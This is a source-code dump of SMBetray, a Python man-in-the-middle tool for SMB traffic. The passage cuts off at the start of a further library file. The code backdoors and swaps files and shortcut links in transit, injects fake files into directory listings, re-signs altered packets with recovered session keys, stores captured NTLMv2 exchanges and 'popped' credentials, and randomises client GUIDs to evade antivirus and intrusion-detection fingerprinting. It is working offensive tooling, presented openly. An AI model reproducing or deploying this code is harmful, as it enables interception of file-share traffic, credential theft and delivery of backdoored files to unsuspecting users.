1596 | #Read request 1597 | if(pkt['Command'] == 8): 1598 | rspPkt['Data'] = self.readResp_injectFile(pkt, self.REQUEST_TRACKER[int(responses[i]['MessageID'])]) 1599 | responses[i] = rspPkt 1600 | 1601 | # If we're signing stuff, then let's sign it 1602 | if(self.SESSION_SIGNED and self.KNOWN_KEY != None): 1603 | rspPkt['Flags'] |= SMB2_FLAGS_SIGNED 1604 | rspPkt['Signature'] = self.KNOWN_KEY.sign(rspPkt) 1605 | 1606 | # GetInfo response - spoof it if we're backdooring stuff 1607 | if(responses[i]['Command'] == 16): 1608 | fname = self.REQUEST_TRACKER[responses[i]['MessageID']].FILE_NAME.lower() 1609 | fname = fname[fname.rfind("\\", 0, len(fname))+1:] 1610 | # If we're backdooring files by name 1611 | if fname in self.BACKDOOR_FILE_SWAP_LIBRARY: 1612 | rspPkt['Data'] = self.getInfoResp_injectFile(pkt, self.REQUEST_TRACKER[int(responses[i]['MessageID'])]) 1613 | responses[i] = rspPkt 1614 | continue 1615 | # If we're backdooring extensions 1616 | ext = fname[fname.find(".")+1:] 1617 | if ext in self.BACKDOOR_EXT_SWAP_LIBRARY: 1618 | rspPkt['Data'] = self.getInfoResp_injectFile(pkt, self.REQUEST_TRACKER[int(responses[i]['MessageID'])]) 1619 | responses[i] = rspPkt 1620 | continue 1621 | 1622 | 1623 | 1624 | # Directory listing injection 1625 | if(responses[i]['Command'] == 14 and responses[i]['Status'] == STATUS_SUCCESS): 1626 | if responses[i]['MessageID'] in self.FILE_INFO_CLASS_TRACKER: 1627 | if self.info['attackConfig'].LNK_SWAP_ALL != None: 1628 | # self.logger.info("Swapping lnks..") 1629 | responses[i] = self.findResp_lnkSwapAll(responses[i], self.FILE_INFO_CLASS_TRACKER[responses[i]['MessageID']]) 1630 | 1631 | if self.info['attackConfig'].LNK_SWAP_EXEC_ONLY != None: 1632 | responses[i] = self.findResp_lnkSwapExec(responses[i], self.FILE_INFO_CLASS_TRACKER[responses[i]['MessageID']]) 1633 | 1634 | # Check if there are any filename with extensions that we want to backdoor in the directory listing 1635 | if self.info['attackConfig'].EXTENSION_SWAP_DIR != None: 1636 | responses[i] = self.findResp_backdoorFileExtensionModifyListing(responses[i], self.FILE_INFO_CLASS_TRACKER[responses[i]['MessageID']]) 1637 | 1638 | # Check if there are any filenames that we want to backdoor in the directory listing 1639 | if self.info['attackConfig'].FILENAME_SWAP_DIR != None: 1640 | responses[i] = self.findResp_backdoorFileNameModifyListing(responses[i], self.FILE_INFO_CLASS_TRACKER[responses[i]['MessageID']]) 1641 | 1642 | # Add every file to the directory listing 1643 | for guid,fileStruct in self.INJECT_FILE_LIBRARY.iteritems(): 1644 | responses[i] = self.findResp_injectFileListing(responses[i], fileStruct, self.FILE_INFO_CLASS_TRACKER[responses[i]['MessageID']]) 1645 | 1646 | 1647 | 1648 | # Rebuild the stacked packets 1649 | return self.restackSMBChainedMessages(responses, as_client = False) 1650 | 1651 | except Exception, e: 1652 | self.logger.error("[SMB2_Lib::handleResponse] " + str(traceback.format_exc())) 1653 | return rawData 1654 | -------------------------------------------------------------------------------- /lib/SMB_Core.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | import traceback 4 | import logging 5 | import struct 6 | from impacket.smb3structs import SMB2Packet, SMB2_DIALECT_311, SMB2_DIALECT_302, SMB2_DIALECT_30, SMB2_DIALECT_21, SMB2_DIALECT_002 7 | from impacket.smb import NewSMBPacket, SMB_DIALECT 8 | 9 | from impacket import ntlm 10 | from binascii import hexlify 11 | from impacket import crypto 12 | import copy 13 | import os 14 | import hmac 15 | import hashlib 16 | 17 | import time 18 | import calendar 19 | import struct 20 | from Crypto.Hash import MD4 21 | 22 | class SystemInfo(object): 23 | SUPPORTED_DIALECTS = [] 24 | 25 | # For when the system is acting as the SMB server 26 | SIGNATURES_ENABLED = False 27 | ENCRYPTION_ENABLED = False 28 | SIGNATURES_REQUIRED = False 29 | ENCRYPTION_REQUIRED = False 30 | NTLM_SUPPORTED = False 31 | class FileRequestStruct(object): 32 | FILE_NAME = "" 33 | FILE_GUID = "" 34 | FILE_BYTE_SIZE = 0 35 | FILE_BYTES_CAPUTRED = 0 36 | 37 | DOWNLOADED = False 38 | LOCAL_OUT_FILE = "" 39 | 40 | IS_INJECTED_FILE = False 41 | IS_BACKDOOR_TARGET = False 42 | LOCAL_FILE_PATH = "" 43 | 44 | 45 | 46 | 47 | class PoppedCreds: 48 | def __init__(self, username = "", password = "(unknown)", domain = "", lm_hash = "", nt_hash = ""): 49 | self.username = username 50 | self.password = password 51 | self.domain = domain 52 | self.lm_hash = lm_hash 53 | self.nt_hash = nt_hash # Raw, not the hexlified version 54 | if(nt_hash == ""): 55 | hash_obj = MD4.new() 56 | hash_obj.update(password.encode("utf-16le")) 57 | self.nt_hash = hash_obj.digest() 58 | self.NTResponse = hmac.new(self.nt_hash, self.username.upper().encode('utf-16le') + self.domain.encode('utf-16le')).digest() 59 | def __hash__(self): 60 | return hash((self.username, self.password, self.domain, self.nt_hash, self.NTResponse)) 61 | class NTLMV2_Struct(object): 62 | NEGOTIATE_INFO = ntlm.NTLMAuthNegotiate() 63 | CHALLENGE_INFO = ntlm.NTLMAuthChallenge() 64 | RESPONSE_INFO = ntlm.NTLMAuthChallengeResponse() 65 | 66 | def getNtProofString(self): 67 | # 68 | return self.RESPONSE_INFO['ntlm'][:16] 69 | def getBasicData(self): 70 | responseServerVersion = self.RESPONSE_INFO['ntlm'][16] 71 | hiResponseServerVersion = self.RESPONSE_INFO['ntlm'][17] 72 | aTime = self.RESPONSE_INFO['ntlm'][24:32] 73 | clientChallenge = self.RESPONSE_INFO['ntlm'][32:40] 74 | serverChallenge = self.CHALLENGE_INFO['challenge'] 75 | serverName = self.RESPONSE_INFO['ntlm'][44:] 76 | basicData = responseServerVersion + hiResponseServerVersion + '\x00' * 6 + aTime + clientChallenge + '\x00' * 4 + serverName 77 | return basicData 78 | def getExtended(self): 79 | # 80 | return (self.RESPONSE_INFO['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY == ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) 81 | def getExchangedKey(self): 82 | return self.RESPONSE_INFO['session_key'] 83 | 84 | # Returns DOMAIN/USERNAME 85 | def getUser(self): 86 | return self.RESPONSE_INFO['domain_name'].decode("utf-16-le").encode("utf-8").upper() + "/" + self.RESPONSE_INFO['user_name'].decode("utf-16-le").encode("utf-8").upper() 87 | 88 | # NtProofString = HMAC_MD5(NTResponse, basicData) 89 | 90 | # A keyring easily managing for SMB session, signing, sealing, etc. keys as well as kerberos session keys 91 | class SMBKey: 92 | def __init__(self, sessionBaseKey = "", dialect = SMB2_DIALECT_30, kerbSessionKey = "", kerbServiceSessionKey = ""): 93 | self.SESSION_BASE_KEY = sessionBaseKey[:16] 94 | self.DIALECT = dialect 95 | self.SERVER_SIGNING_KEY = "" 96 | self.CLIENT_SIGNING_KEY = "" 97 | 98 | self.SERVER_ENCRYPTION_KEY = "" 99 | self.SERVER_DECRYPTION_KEY = "" 100 | 101 | self.CLIENT_ENCRYPTION_KEY = "" 102 | self.CLIENT_DECRYPTION_KEY = "" 103 | self.APPLICATION_KEY = "" 104 | 105 | self.KERBEROS_SESSION_KEY = kerbSessionKey # The users AS-REP KerberosSessionKey 106 | self.KERBEROS_SERVICE_SESSION_KEY = kerbServiceSessionKey # The ServiceSessionKey from the TGS 107 | 108 | if(self.KERBEROS_SERVICE_SESSION_KEY != ""): 109 | self.SESSION_BASE_KEY = self.KERBEROS_SERVICE_SESSION_KEY[:16] 110 | 111 | self.generateKeys() 112 | def setDialect(self, dialect): 113 | self.DIALECT = dialect 114 | self.generateKeys() 115 | def generateKeys(self): 116 | # SMB2 and earlier don't use a KDF 117 | if(self.DIALECT in [SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21]): 118 | self.SERVER_SIGNING_KEY = self.SESSION_BASE_KEY 119 | self.CLIENT_SIGNING_KEY = self.SESSION_BASE_KEY 120 | self.SERVER_ENCRYPTION_KEY = self.SESSION_BASE_KEY 121 | self.SERVER_DECRYPTION_KEY = self.SESSION_BASE_KEY 122 | self.CLIENT_ENCRYPTION_KEY = self.SESSION_BASE_KEY 123 | self.CLIENT_DECRYPTION_KEY = self.SESSION_BASE_KEY 124 | self.APPLICATION_KEY = self.SESSION_BASE_KEY 125 | return 126 | 127 | if(self.DIALECT in [SMB2_DIALECT_30, SMB2_DIALECT_302, SMB2_DIALECT_311]): 128 | self.CLIENT_SIGNING_KEY = crypto.KDF_CounterMode(self.SESSION_BASE_KEY, "SMB2AESCMAC\x00", "SmbSign\x00", 128) 129 | self.SERVER_SIGNING_KEY = crypto.KDF_CounterMode(self.SESSION_BASE_KEY, "SMB2AESCMAC\x00", "SmbSign\x00", 128) 130 | 131 | self.CLIENT_ENCRYPTION_KEY = crypto.KDF_CounterMode(self.SESSION_BASE_KEY, "SMB2AESCCM\x00", "ServerIn \x00", 128) 132 | self.CLIENT_DECRYPTION_KEY = crypto.KDF_CounterMode(self.SESSION_BASE_KEY, "SMB2AESCCM\x00", "ServerOut \x00", 128) 133 | 134 | self.SERVER_ENCRYPTION_KEY = self.CLIENT_DECRYPTION_KEY 135 | self.SERVER_DECRYPTION_KEY = self.CLIENT_ENCRYPTION_KEY 136 | 137 | self.APPLICATION_KEY = crypto.KDF_CounterMode(self.SESSION_BASE_KEY, "SMB2APP\x00", "SmbRpc\x00", 128) 138 | return 139 | 140 | # Generate the appropriate signature, 141 | # per the dialect specifications, 142 | # using the appropriate key 143 | def sign(self, packet, as_client = True): 144 | # NT LM 0.12 145 | if self.DIALECT == SMB_DIALECT: 146 | packet['SecurityFeatures'] = '\x00' * 8 147 | # TODO: Add contingency for when a a SigningChallengeResponse is used 148 | # # https://msdn.microsoft.com/en-us/library/cc246343.aspx 149 | z = hashlib.md5() 150 | if as_client: 151 | z.update(self.CLIENT_SIGNING_KEY) 152 | else: 153 | z.update(self.SERVER_SIGNING_KEY) 154 | z.update(str(packet)) 155 | return z.digest()[:8] 156 | # 2.0.2, 2.1.0 157 | if self.DIALECT in [SMB2_DIALECT_002, SMB2_DIALECT_21]: 158 | packet['Signature'] = '\x00' * 16 159 | if as_client: 160 | return hmac.new(self.CLIENT_SIGNING_KEY, str(packet), hashlib.sha256).digest()[:16] 161 | else: 162 | return hmac.new(self.SERVER_SIGNING_KEY, str(packet), hashlib.sha256).digest()[:16] 163 | # 3.0.0, 3.0.2, 3.1.1 164 | if self.DIALECT in [SMB2_DIALECT_30, SMB2_DIALECT_302, SMB2_DIALECT_311]: 165 | packet['Signature'] = '\x00' * 16 166 | if as_client: 167 | return crypto.AES_CMAC(self.CLIENT_SIGNING_KEY, str(packet), len(str(packet))) 168 | else: 169 | return crypto.AES_CMAC(self.SERVER_SIGNING_KEY, str(packet), len(str(packet))) 170 | def __str__(self): 171 | data = "SessionKey: \t" + hexlify(self.SESSION_BASE_KEY) + "\n" 172 | data += "ServerSigningKey: \t" + hexlify(self.CLIENT_SIGNING_KEY) + "\n" 173 | data += "ClientSigningKey: \t" + hexlify(self.SERVER_SIGNING_KEY) + "\n" 174 | data += "krbSessionKey: \t" + hexlify(self.KERBEROS_SESSION_KEY) + "\n" 175 | data += "krbServiceSessionKey: \t" + hexlify(self.KERBEROS_SERVICE_SESSION_KEY) + "\n" 176 | return data 177 | def __hash__(self): 178 | combined = str(str(self.SESSION_BASE_KEY) + str(self.CLIENT_SIGNING_KEY) + str(self.SERVER_SIGNING_KEY) + str(self.KERBEROS_SESSION_KEY)) 179 | killer = hashlib.md5() 180 | killer.update(combined) 181 | self.checksum = hexlify(killer.digest()) 182 | return hash(self.checksum) 183 | 184 | 185 | class SMB_Core(object): 186 | # Share the self.info dict from the MiTMModule 187 | def __init__(self, data, MiTMModuleConfig = dict()): 188 | # Stateful variables 189 | self.info = data # The EasySharedMemory object passed from the SMBetray MiTMModule 190 | self.MiTMModuleConfig = MiTMModuleConfig # The same MiTMModuleConfig from the parent MiTMModule, loaded by the MiTMServer 191 | self.SMB1_DIALECT_INDEX = -1 # Used by negotiateReq_StripSMBDialects and negotiateResp_StripSMBDialects 192 | self.DIALECT = None # To be replaced with the impacket.smb.SMB dialect settled on (eg SMB_DIALECT) 193 | self.SPOOFED_CLIENT_GUID = ''.join([random.choice(string.letters) for i in range(16)]) # A random client GUID 194 | 195 | # Keep track of the server & client info 196 | self.SERVER_INFO = SystemInfo() 197 | self.CLIENT_INFO = SystemInfo() 198 | 199 | # Mandatory variables to track requested files/etc 200 | self.CREATE_REQUEST_TRACKER = dict() # A dict of FileRequestStruct's with their CREATE_REQUEST_ID (the message id) as their key 201 | self.FILE_REQUEST_TRACKER = dict() # a dict of FileRequestStruct's with their GUID as the key 202 | self.REQUEST_TRACKER = dict() # Map every message_id to the FileRequestStruct in question 203 | self.FILE_INFO_CLASS_TRACKER = dict() # Ties the FILE_INFO_CLASS request to the associated response: self.FILE_INFO_CLASS_TRACKER[message_id] = int(InfoType) 204 | self.FILE_INFO_TYPE_TRACKER = dict() # Ties the INTO_TYPE request to the associated response: self.FILE_INFO_TYPE_TRACKER[message_id] 205 | self.CURRENT_DIRECTORY = "" 206 | 207 | # Auth & Security related variables 208 | self.SESSION_DIALECT = None 209 | self.SESSION_SIGNED = False 210 | self.SESSION_ENCRYPTED = False 211 | self.PREAUTH_PACKET_STACK = [] # A list of SMB2Packets to calculate the preauth integerity hash in case SMB3.1.1 is used 212 | self.KNOWN_KEY = None # To be replaced with an SMBKey if we have the creds & crack the session key 213 | self.NTLMV2_DATASTORE = [] # Stores all captured NTLMv2 negotiate, challenge, and challenge response messages (for hashes and for session key cracking) 214 | self.CREDS_DATASTORE = [] # Stores all of the domains/users/passwords from the popped-credentials file 215 | 216 | # File injection variables 217 | self.INJECTION_ACTIVE = False # If a client requested a 'fake file' that we injected, then we don't forward their request to the server - instead, an SMB Echo request 218 | self.INJECTION_REQ_DATA = dict()# A dict of SMB packets (message_id is their key) to be parsed by the fullMasquaradeServer 219 | self.INJECTED_FILE_TRACKER = dict()# A list of full paths to files we have injected into directories. This keeps track for when we recieve a request for one 220 | self.INJECT_FILE_LIBRARY = dict()# Just a list of FileRequestStructs of the injected files 221 | 222 | 223 | 224 | 225 | 226 | 227 | # Split up "Stacked" SMB headers and parse them seperately. 228 | # This is for when SMB2 uses the "NextCommand" option (aka ChainOffset) 229 | def splitSMBChainedMessages(self, data): 230 | try: 231 | smbMessages = [] 232 | # SMB v1 233 | if(data[4:8] == '\xff\x53\x4d\x42'): 234 | z = 4 235 | nx = data.find('\xff\x53\x4d\x42', z + 1) 236 | while nx > -1: 237 | smbMessages.append(NewSMBPacket(data = data[z:nx])) 238 | z = nx 239 | nx = data.find('\xff\x53\x4d\x42', z + 1) 240 | # Required after the last iteration to get the remaining data 241 | smbMessages.append(NewSMBPacket(data = copy.deepcopy(data[z:]))) 242 | return smbMessages 243 | 244 | # SMB v2 245 | elif(data[4:8] == '\xfe\x53\x4d\x42'): 246 | z = 4 247 | nx = data.find('\xfe\x53\x4d\x42', z + 1) 248 | while nx > -1: 249 | smbMessages.append(SMB2Packet(data = copy.deepcopy(data[z:nx]))) 250 | z = nx 251 | nx = data.find('\xfe\x53\x4d\x42', z + 1) 252 | # Required after the last iteration to get the remaining data 253 | smbMessages.append(SMB2Packet(data = copy.deepcopy(data[z:]))) 254 | return smbMessages 255 | except Exception, e: 256 | logging.error("[SMB_Core::splitSMBChainedMessages] " + str(traceback.format_exc())) 257 | return data 258 | def restackSMBChainedMessages(self, SMBPacketList): 259 | try: 260 | # Takes in a list of NewSMBPacket or SMB2Packets 261 | if SMBPacketList[0].__class__.__name__ == 'SMB2Packet': 262 | reStacked = "" 263 | for i in range(0, len(SMBPacketList)): 264 | if(i < len(SMBPacketList) - 1): 265 | SMBPacketList[i]['NextCommand'] = len(str(SMBPacketList[i])) + ((8 - (len(str(SMBPacketList[i])) % 8)) % 8) 266 | SMBPacketList[i]['Data'] = SMBPacketList[i]['Data'] + str('\x00' * ((8 - (len(str(SMBPacketList[i])) % 8)) % 8)) #Padding 267 | else: 268 | SMBPacketList[i]['NextCommand'] = 0 269 | reStacked += str(SMBPacketList[i]) 270 | netbios = struct.pack('>i', len(str(reStacked))) 271 | # Return the ready-to-send packet 272 | return str(netbios) + str(reStacked) 273 | 274 | if SMBPacketList[0].__class__.__name__ == 'NewSMBPacket': 275 | # SMBv1 Uses ANDX to chain messages 276 | 277 | # TODO: fix this 278 | reStacked = "" 279 | for i in range(0, len(SMBPacketList)): 280 | reStacked += str(SMBPacketList[i]) 281 | netbios = struct.pack('>i', len(str(reStacked))) 282 | # Return the ready-to-send packet 283 | return str(netbios) + str(reStacked) 284 | 285 | except Exception, e: 286 | logging.error("[SMB_Core::restackSMBChainedMessages] " + str(traceback.format_exc())) 287 | return SMBPacketList 288 | 289 | # Returns a list of supported dialects as constants, 290 | # such as SMB_DIALECT and SMB2_DIALECT_302 291 | def getServerSupportedDialects(self, ip, port = 445): 292 | '''Connects to the specified server on the provided port(445 default) and enumeratesSMBKey the supported dialects''' 293 | dialects = [SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, SMB2_DIALECT_302 ]#, SMB2_DIALECT_311] 294 | 295 | # Check SMBv1 296 | try: 297 | # Build a generic SMBv1 negotiate packet and only show support for SMBv1 298 | smb = NewSMBPacket(data = unhexlify("ff534d4272000000001845680000000000000000000000000000ed4300000100000e00024e54204c4d20302e3132000200")) 299 | rawData = str(smb) 300 | netbios = struct.pack('>i', len(str(rawData))) 301 | rpkt = str(netbios) + str(rawData) 302 | # Connect through 303 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 304 | client.connect((ip, port)) 305 | client.sendall(rpkt) 306 | response = client.recv(999999) 307 | client.close() 308 | del(client) 309 | except Exception, e: 310 | # It's not supported, bummer 311 | dialects.remove(SMB_DIALECT) 312 | else: 313 | # SMB1 is supported, cool 314 | pass 315 | 316 | # Check SMB 2.0.2 317 | try: 318 | # Generic smb2 packet 319 | smbHeader = SMB2Packet(unhexlify("fe534d42400001000000000000001f0000000000000000000000000000000000fffe000000000000000000000000000000000000000000000000000000000000")) 320 | 321 | # Here's a generic negotiate protocol request 322 | # - just modify the client GUID to prevent 323 | # AV/IDS fingerprinting 324 | negProto = SMB2Negotiate(unhexlify("24000500010000007f000000cb78cd146438e7119168000c291232a370000000020000000202100200030203110300000100260000000000010020000100c8c31f28d43563c829b9070423e96a98701ac3ec788a3ac01573ee03d07d942600000200060000000000020002000100")) 325 | 326 | 327 | negProto['Dialects'] = [SMB2_DIALECT_002, 0, 0, 0, 0, 0] 328 | negProto['ClientGuid'] = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 329 | rawData = str(smbHeader) + str(negProto) 330 | netbios = struct.pack('>i', len(str(rawData))) 331 | rpkt = str(netbios) + str(rawData) 332 | 333 | # Connect through 334 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 335 | client.connect((ip, port)) 336 | client.sendall(rpkt) 337 | response = client.recv(999999) 338 | client.close() 339 | del(client) 340 | 341 | # See if the protocol is supported 342 | resp = SMB2Packet(response[4:]) 343 | if(resp['Status'] != 0): 344 | raise 345 | else: 346 | pass 347 | except Exception, e: 348 | # It's not supported 349 | dialects.remove(SMB2_DIALECT_002) 350 | else: 351 | # SMB 2.0.2 is supported 352 | pass 353 | 354 | # Check SMB 2.1.0 355 | try: 356 | # Generic smb2 packet 357 | smbHeader = SMB2Packet(unhexlify("fe534d42400001000000000000001f0000000000000000000000000000000000fffe000000000000000000000000000000000000000000000000000000000000")) 358 | 359 | # Here's a generic negotiate protocol request 360 | # - just modify the client GUID to prevent 361 | # AV/IDS fingerprinting 362 | negProto = SMB2Negotiate(unhexlify("24000500010000007f000000cb78cd146438e7119168000c291232a370000000020000000202100200030203110300000100260000000000010020000100c8c31f28d43563c829b9070423e96a98701ac3ec788a3ac01573ee03d07d942600000200060000000000020002000100")) 363 | 364 | 365 | negProto['Dialects'] = [SMB2_DIALECT_21, 0, 0, 0, 0, 0] 366 | negProto['ClientGuid'] = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 367 | rawData = str(smbHeader) + str(negProto) 368 | netbios = struct.pack('>i', len(str(rawData))) 369 | rpkt = str(netbios) + str(rawData) 370 | 371 | # Connect through 372 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 373 | client.connect((ip, port)) 374 | client.sendall(rpkt) 375 | response = client.recv(999999) 376 | client.close() 377 | del(client) 378 | 379 | # See if the protocol is supported 380 | resp = SMB2Packet(response[4:]) 381 | if(resp['Status'] != 0): 382 | raise 383 | else: 384 | pass 385 | except Exception, e: 386 | # It's not supported 387 | dialects.remove(SMB2_DIALECT_21) 388 | else: 389 | # SMB 2.1.0 is supported 390 | pass 391 | 392 | # Check SMB 3.0 393 | try: 394 | # Generic smb2 packet 395 | smbHeader = SMB2Packet(unhexlify("fe534d42400001000000000000001f0000000000000000000000000000000000fffe000000000000000000000000000000000000000000000000000000000000")) 396 | 397 | # Here's a generic negotiate protocol request 398 | # - just modify the client GUID to prevent 399 | # AV/IDS fingerprinting 400 | negProto = SMB2Negotiate(unhexlify("24000500010000007f000000cb78cd146438e7119168000c291232a370000000020000000202100200030203110300000100260000000000010020000100c8c31f28d43563c829b9070423e96a98701ac3ec788a3ac01573ee03d07d942600000200060000000000020002000100")) 401 | 402 | 403 | negProto['Dialects'] = [SMB2_DIALECT_30, 0, 0, 0, 0, 0] 404 | negProto['ClientGuid'] = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 405 | rawData = str(smbHeader) + str(negProto) 406 | netbios = struct.pack('>i', len(str(rawData))) 407 | rpkt = str(netbios) + str(rawData) 408 | 409 | # Connect through 410 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 411 | client.connect((ip, port)) 412 | client.sendall(rpkt) 413 | response = client.recv(999999) 414 | client.close() 415 | del(client) 416 | 417 | # See if the protocol is supported 418 | resp = SMB2Packet(response[4:]) 419 | if(resp['Status'] != 0): 420 | raise 421 | else: 422 | pass 423 | except Exception, e: 424 | # It's not supported 425 | dialects.remove(SMB2_DIALECT_30) 426 | else: 427 | # SMB 2.1.0 is supported 428 | pass 429 | 430 | # Check SMB 3.0.2 431 | try: 432 | # Generic smb2 packet 433 | smbHeader = SMB2Packet(unhexlify("fe534d42400001000000000000001f0000000000000000000000000000000000fffe000000000000000000000000000000000000000000000000000000000000")) 434 | 435 | # Here's a generic negotiate protocol request 436 | # - just modify the client GUID to prevent 437 | # AV/IDS fingerprinting 438 | negProto = SMB2Negotiate(unhexlify("24000500010000007f000000cb78cd146438e7119168000c291232a370000000020000000202100200030203110300000100260000000000010020000100c8c31f28d43563c829b9070423e96a98701ac3ec788a3ac01573ee03d07d942600000200060000000000020002000100")) 439 | 440 | 441 | negProto['Dialects'] = [SMB2_DIALECT_302, 0, 0, 0, 0, 0] 442 | negProto['ClientGuid'] = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 443 | rawData = str(smbHeader) + str(negProto) 444 | netbios = struct.pack('>i', len(str(rawData))) 445 | rpkt = str(netbios) + str(rawData) 446 | 447 | # Connect through 448 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 449 | client.connect((ip, port)) 450 | client.sendall(rpkt) 451 | response = client.recv(999999) 452 | client.close() 453 | del(client) 454 | 455 | # See if the protocol is supported 456 | resp = SMB2Packet(response[4:]) 457 | if(resp['Status'] != 0): 458 | raise 459 | else: 460 | pass 461 | except Exception, e: 462 | # It's not supported 463 | dialects.remove(SMB2_DIALECT_302) 464 | else: 465 | # SMB 2.1.0 is supported 466 | pass 467 | 468 | ''' 469 | # Check SMB 3.1.1 470 | try: 471 | # Generic smb2 packet 472 | smbHeader = SMB2Packet(unhexlify("fe534d42400001000000000000001f0000000000000000000000000000000000fffe000000000000000000000000000000000000000000000000000000000000")) 473 | 474 | # Here's a generic negotiate protocol request 475 | # - just modify the client GUID to prevent 476 | # AV/IDS fingerprinting 477 | negProto = SMB2Negotiate(unhexlify("24000500010000007f000000cb78cd146438e7119168000c291232a370000000020000000202100200030203110300000100260000000000010020000100c8c31f28d43563c829b9070423e96a98701ac3ec788a3ac01573ee03d07d942600000200060000000000020002000100")) 478 | 479 | 480 | negProto['Dialects'] = [SMB2_DIALECT_311, 0, 0, 0, 0, 0] 481 | negProto['ClientGuid'] = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 482 | rawData = str(smbHeader) + str(negProto) 483 | netbios = struct.pack('>i', len(str(rawData))) 484 | rpkt = str(netbios) + str(rawData) 485 | 486 | # Connect through 487 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 488 | client.connect((ip, port)) 489 | client.sendall(rpkt) 490 | response = client.recv(999999) 491 | client.close() 492 | del(client) 493 | 494 | # See if the protocol is supported 495 | resp = SMB2Packet(response[4:]) 496 | if(resp['Status'] != 0): 497 | raise 498 | else: 499 | pass 500 | except Exception, e: 501 | # It's not supported 502 | dialects.remove(SMB2_DIALECT_311) 503 | else: 504 | # SMB 2.1.0 is supported 505 | pass 506 | ''' 507 | 508 | 509 | return dialects 510 | 511 | # Repeats the SMB1 action in getServerSupportedDialects. 512 | # I carved this out of getServerSupportedDialects so that 513 | # it only executes this one critical check during a time sensitive 514 | # negotiation operation 515 | def checkServerSupportSMB1(self, ip, port = 445): 516 | # Check SMBv1 517 | try: 518 | # Build a generic SMBv1 negotiate packet and only show support for SMBv1 519 | smb = NewSMBPacket(data = unhexlify("ff534d4272000000001845680000000000000000000000000000ed4300000100000e00024e54204c4d20302e3132000200")) 520 | rawData = str(smb) 521 | netbios = struct.pack('>i', len(str(rawData))) 522 | rpkt = str(netbios) + str(rawData) 523 | # Connect through 524 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 525 | client.connect((ip, port)) 526 | client.sendall(rpkt) 527 | response = client.recv(999999) 528 | client.close() 529 | del(client) 530 | except Exception, e: 531 | # It's not supported, bummer 532 | return False 533 | else: 534 | return True 535 | 536 | # Connects to the target on SMB1 and SMB2. 537 | # Checks and fills out all of the items in the SystemInfo 538 | # class 539 | def profileServer_SMB1(self, ip, port = 445): 540 | # Checkout SMB1 support & security requirements 541 | logging.debug("Inspecting SMBv1 support on " + self.MiTMModuleConfig['target_ip']) 542 | 543 | # Build a generic SMBv1 negotiate packet and only show support for SMBv1 544 | smb = NewSMBPacket(data = unhexlify("ff534d4272000000001845680000000000000000000000000000ed4300000100000e00024e54204c4d20302e3132000200")) 545 | rawData = str(smb) 546 | netbios = struct.pack('>i', len(str(rawData))) 547 | rpkt = str(netbios) + str(rawData) 548 | 549 | # If the connection resets - they don't support it 550 | try: 551 | # Connect through 552 | client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 553 | client.connect((self.MiTMModuleConfig['target_ip'], self.MiTMModuleConfig['target_port'])) 554 | client.sendall(rpkt) 555 | response = client.recv(999999) 556 | client.close() 557 | del(client) 558 | except: 559 | # If they dropped the connection, SMB1 is disabled 560 | logging.debug(self.MiTMModuleConfig['target_ip'] + " does not support SMBv1 :(") 561 | # Remove it from the supported dialects list, if it was even there 562 | if SMB_DIALECT in self.SERVER_INFO.SUPPORTED_DIALECTS: 563 | self.SERVER_INFO.SUPPORTED_DIALECTS.remove(SMB_DIALECT) 564 | return 565 | else: 566 | # No way dude 567 | logging.debug(self.MiTMModuleConfig['target_ip'] + " supports SMBv1!") 568 | self.SERVER_INFO.SUPPORTED_DIALECTS.append(SMB_DIALECT) 569 | 570 | # Checkout the security 571 | resp = NewSMBPacket(data = response[4:]) 572 | respData = SMBCommand(resp['Data'][0]) 573 | dialectData = SMBNTLMDialect_Parameters(respData['Parameters']) 574 | authData = SPNEGO_NegTokenInit(respData['Data'][16:]) 575 | 576 | # Give it to me straight doc 577 | if dialectData['SecurityMode'] & SMB.SECURITY_SIGNATURES_ENABLED: 578 | logging.debug("Server supports SMB signing") 579 | self.SERVER_INFO.SERVER_SIGNATURES_ENABLED = True 580 | if dialectData['SecurityMode'] & SMB.SECURITY_SIGNATURES_REQUIRED: 581 | logging.debug("Server requires signatures :(") 582 | self.SERVER_INFO.SERVER_SIGNATURES_REQUIRED = True 583 | else: 584 | logging.debug("Server does not require signatures!") 585 | 586 | 587 | # Check if NTLM auth is supported 588 | if spnego.TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] in authData['MechTypes']: 589 | logging.debug("Server supports NTLM auth!") 590 | self.SERVER_INFO.SERVER_NTLM_SUPPORTED = True 591 | else: 592 | self.SERVER_INFO.SERVER_NTLM_SUPPORTED = False 593 | 594 | pass 595 | -------------------------------------------------------------------------------- /lib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quickbreach/SMBetray/573daf6434f68c589a7551447879d621fc1aa0c5/lib/__init__.py -------------------------------------------------------------------------------- /lib/bcolors.py: -------------------------------------------------------------------------------- 1 | # Colored terminals > black/white terminals 2 | class bcolors: 3 | HEADER = '\033[95m' 4 | OKBLUE = '\033[94m' 5 | DARKBLUE = '\033[0;34m' 6 | OKGREEN = '\033[92m' 7 | WARNING = '\033[93m' 8 | TEAL = '\033[36m' 9 | GREY = '\033[37m' 10 | FAIL = '\033[91m' 11 | ENDC = '\033[0m' 12 | BOLD = '\033[1m' 13 | UNDERLINE = '\033[4m' 14 | OTHER = '\033[1;31m' 15 | WHITE = '\033[1;37m' 16 | -------------------------------------------------------------------------------- /lib/ebcLib.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | ''' 3 | EvenBetterCap: A modularized transparent TCP 